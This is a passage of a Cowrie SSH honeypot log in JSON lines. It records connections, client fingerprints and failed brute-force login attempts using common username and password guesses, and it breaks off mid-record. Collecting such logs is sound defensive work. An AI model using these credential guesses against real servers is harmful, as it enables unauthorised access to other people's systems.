{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:57.203752Z","src_ip":"186.148.224.183","session":"6d6bd712ad23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:57.355654Z","src_ip":"186.148.224.183","session":"6d6bd712ad23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"12345","message":"login attempt [chris/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:57.995429Z","src_ip":"186.148.224.183","session":"6d6bd712ad23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:59.145414Z","src_ip":"186.148.224.183","session":"6d6bd712ad23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33254,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8c050d12816","protocol":"ssh","message":"New connection: 109.237.96.109:33254 (10.17.0.5:22) [session: b8c050d12816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:04.844485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:04.850736Z","src_ip":"109.237.96.109","session":"b8c050d12816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:04.943102Z","src_ip":"109.237.96.109","session":"b8c050d12816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07071987","message":"login attempt [root/07071987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:05.218953Z","src_ip":"109.237.96.109","session":"b8c050d12816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:06.321425Z","src_ip":"109.237.96.109","session":"b8c050d12816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":51414,"dst_ip":"159.203.135.109","dst_port":22,"session":"24506a2f0bf8","protocol":"ssh","message":"New connection: 103.154.77.48:51414 (159.203.135.109:22) [session: 24506a2f0bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:14.366921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:14.371440Z","src_ip":"103.154.77.48","session":"24506a2f0bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:14.616425Z","src_ip":"103.154.77.48","session":"24506a2f0bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:15.610409Z","src_ip":"103.154.77.48","session":"24506a2f0bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:16.854220Z","src_ip":"103.154.77.48","session":"24506a2f0bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":57276,"dst_ip":"159.203.135.109","dst_port":22,"session":"0358ec7fa1ca","protocol":"ssh","message":"New connection: 103.154.241.42:57276 (159.203.135.109:22) [session: 0358ec7fa1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:31.970088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:31.975238Z","src_ip":"103.154.241.42","session":"0358ec7fa1ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:32.223137Z","src_ip":"103.154.241.42","session":"0358ec7fa1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123123","message":"login attempt [test/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:33.244084Z","src_ip":"103.154.241.42","session":"0358ec7fa1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:34.495030Z","src_ip":"103.154.241.42","session":"0358ec7fa1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:43.361152Z","src_ip":"180.76.170.111","session":"2caf1ca7d180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":32832,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb1c50296e49","protocol":"ssh","message":"New connection: 112.104.154.26:32832 (10.17.0.5:22) [session: bb1c50296e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:48.293916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:48.299582Z","src_ip":"112.104.154.26","session":"bb1c50296e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:48.494642Z","src_ip":"112.104.154.26","session":"bb1c50296e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:48.818103Z","src_ip":"112.104.154.26","session":"bb1c50296e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":38184,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9cfe5990e91","protocol":"ssh","message":"New connection: 20.160.86.7:38184 (10.17.0.5:22) [session: d9cfe5990e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:51.153533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:51.159091Z","src_ip":"20.160.86.7","session":"d9cfe5990e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:51.241383Z","src_ip":"20.160.86.7","session":"d9cfe5990e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spring","password":"123456","message":"login attempt [spring/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:51.600503Z","src_ip":"20.160.86.7","session":"d9cfe5990e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:52.685421Z","src_ip":"20.160.86.7","session":"d9cfe5990e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":38524,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d531ff43e01","protocol":"ssh","message":"New connection: 40.83.182.122:38524 (10.17.0.5:22) [session: 4d531ff43e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:56.535596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:56.541701Z","src_ip":"40.83.182.122","session":"4d531ff43e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:56.628050Z","src_ip":"40.83.182.122","session":"4d531ff43e01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chin","password":"chin123","message":"login attempt [chin/chin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:56.984177Z","src_ip":"40.83.182.122","session":"4d531ff43e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:58.069532Z","src_ip":"40.83.182.122","session":"4d531ff43e01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":34400,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aeef90f521d","protocol":"ssh","message":"New connection: 202.53.94.246:34400 (159.203.135.109:22) [session: 8aeef90f521d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:58.090584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:58.095094Z","src_ip":"202.53.94.246","session":"8aeef90f521d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:58.315243Z","src_ip":"202.53.94.246","session":"8aeef90f521d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:16:59.226753Z","src_ip":"202.53.94.246","session":"8aeef90f521d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:00.452538Z","src_ip":"202.53.94.246","session":"8aeef90f521d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":39358,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e5c1b28c445","protocol":"ssh","message":"New connection: 45.144.233.56:39358 (10.17.0.5:22) [session: 5e5c1b28c445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:03.705394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:03.710683Z","src_ip":"45.144.233.56","session":"5e5c1b28c445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 